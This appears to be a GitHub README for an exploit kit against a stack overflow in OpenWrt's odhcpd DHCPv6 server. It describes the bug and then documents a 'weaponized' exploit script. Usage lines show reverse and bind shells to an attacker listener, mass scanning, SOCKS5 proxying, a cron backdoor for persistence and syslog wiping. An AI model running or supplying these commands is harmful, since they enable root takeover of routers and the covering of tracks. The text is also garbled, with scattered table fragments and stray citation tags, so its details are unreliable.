
CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Vuln detailed and comprehensive Write-Up and Verifier & Multi-exploit for OpenWrt DHCPv6 RCE. Dual-vector (IA_NA/IA_PD) overflow with MIPS/ARM shellcode, ROP chains, SOCKS5 proxy, persistence, log wiping & mass scanning. Use Ethically, Stay Legal. 🔒

⚠️ For educational and authorized testing only. Unauthorized use is illegal.
CVE-2026-53921 is a critical stack buffer overflow in OpenWrt’s odhcpd daemon – the default DHCPv6/DHCPv4/RA server.
The vulnerability exists in odhcpd's DHCPv6 message handling code,
specifically in the build_ia() and dhcpv6_ia_handle_IAs() functions.
The bug occurs during the serialization (packing) of DHCPv6 Reply
packets. When odhcpd responds to client requests, it constructs the
reply in a fixed-size stack buffer of 512 bytes without proper
bounds checking.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
An attacker sends a DHCPv6 Request (or Solicit) with:
Each option consumes stack space as odhcpd builds its Reply. The
accumulated data exceeds 512 bytes, causing the overflow.
Vector Trigger Overflow Point
Site 1 5 IA_NA options build_ia() for IA_NA
with IPv6 addresses
build_ia() for IA_PDThe root cause is identical, but the overflow occurs in different code paths, making both vectors equally exploitable.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
The attacker overwrites the saved return address to point to their shellcode in memory.
Requirement Description
Network Access Attacker must have IPv6 connectivity to the target
Authentication None -- unauthenticated attack
Privileges odhcpd runs as root, so RCE grants
full system control
In a real exploit, the attacker's shellcode is placed in the IAAddress IPv6 address fields (16 bytes per IA_NA). The crafted packets pack the shellcode, NOP sled, and return address into these fields.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Version Status RCE Possible?
odhcpd < e432dd6 Vulnerable ✅ Yes OpenWrt < 24.10.8 Vulnerable ✅ Yes OpenWrt < 25.12.5 Vulnerable ✅ Yes OpenWrt 24.10.8+ Patched ❌ No OpenWrt 25.12.5+ Patched ❌ No odhcpd master + e432dd6 Patched ❌ No
This vulnerability is particularly dangerous because:
odhcpd is enabled by default on OpenWrt installations.| Component | Vulnerable versions | Fixed in |
|---|---|---|
odhcpd (master branch) | before commit e432dd6 | e432dd6 or later |
| OpenWrt releases | < 24.10.8 < 25.12.5 |
This repository provides two independent scripts:
| Script | Purpose | Exploit code | Safety |
|---|---|---|---|
verifier.py | Non‑intrusive vulnerability check | ❌ No | ✅ Safe |
exploit.py | Full weaponized exploit |
verifier.py – Vulnerability Checkerexploit.py – Full ExploitIA_NA (Site1) and IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argument | Description |
|---|---|
-u, --target | Target IPv6 address (required) |
-i, --iface | Network interface (default: eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Exploit a single target with bind shell
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. Use SOCKS5 proxy + persistence + log wiping
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
Upgrade OpenWrt to 24.10.8 or 25.12.5 or later.
opkg update
opkg upgrade odhcpd
OpenWrt Security Advisory (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 Detailed advisory covering both overflow vectors in odhcpd.
CVE-2026-53921 NVD Entry https://nvd.nist.gov/vuln/detail/CVE-2026-53921 Official NIST vulnerability database entry.
OpenWrt 24.10.8 Release Notes https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 Official release announcement for the 24.10 branch.
OpenWrt 25.12.5 Release Notes https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html Official release announcement for the 25.12 branch.
The 24.10.8 and 25.12.5 releases address multiple odhcpd vulnerabilities beyond CVE-2026-53921 [citation:9]:
The Hacker News Analysis https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html Detailed technical breakdown of the vulnerability and exploitation vectors. [citation:1]
GitHub PoC Repository https://github.com/0xBlackash/CVE-2026-53921 Public proof-of-concept implementations and technical details. [citation:3]
Version 25.12.5 also addresses vulnerabilities in other core components [citation:10]:
OpenWrt Firmware Selector https://firmware-selector.openwrt.org/ Download patched firmware images for your device.
CISA Known Exploited Vulnerabilities Catalog https://www.cisa.gov/known-exploited-vulnerabilities-catalog Check if CVE-2026-53921 has been added to KEV (as of July 27, 2026, not listed). [citation:1]
| 24.10.8 & 25.12.5 |
| ✅ Yes |
| ⚠️ Dangerous |
| Argument | Description |
|---|
-u, --target | Target IPv6 address |
-l, --list | File with list of targets |
-i, --iface | Network interface (default: eth0) |
--lhost | Listener IP (required) |
--lport | Listener port (default: 4444) |
--vector | site1, site2, or both (default: both) |
--offset | Stack offset (default: 512) |
--ret | Return address in hex (e.g. 0x7ffff000) |
--arch | Force mips or arm (auto‑detect if omitted) |
--payload | reverse or bind (default: reverse) |
--encode | none or xor (default: none) |
--proxy-host | SOCKS5 proxy IP |
--proxy-port | SOCKS5 proxy port (default: 1080) |
--persistence | Install cron backdoor |
--clear-logs | Clear syslog after exploitation |
--scan-only | Only scan targets, do not exploit |
--threads | Number of threads for scanning (default: 5) |
--verbose | Verbose logging |
| CVE ID | Severity | Description |
|---|
| CVE-2026-53918 | High | Use-after-free in DHCPv6 IA handler [citation:4][citation:9] |
| CVE-2026-53920 | High | Stack memory disclosure via truncated DHCPv6 IA_NA/IA_PD option [citation:9] |
| CVE-2026-53922 | Moderate | Pre-auth denial of service via size_t underflow [citation:9] |
| CVE-2026-55606 | Moderate | Stack buffer overread from DUID length endianness mismatch [citation:9] |
| CVE-2026-62948 | - | DHCPv6 hostname injection leading to stored XSS [citation:1] |
| CVE-2026-62947 | - | Authenticated path traversal in cgi-io [citation:1] |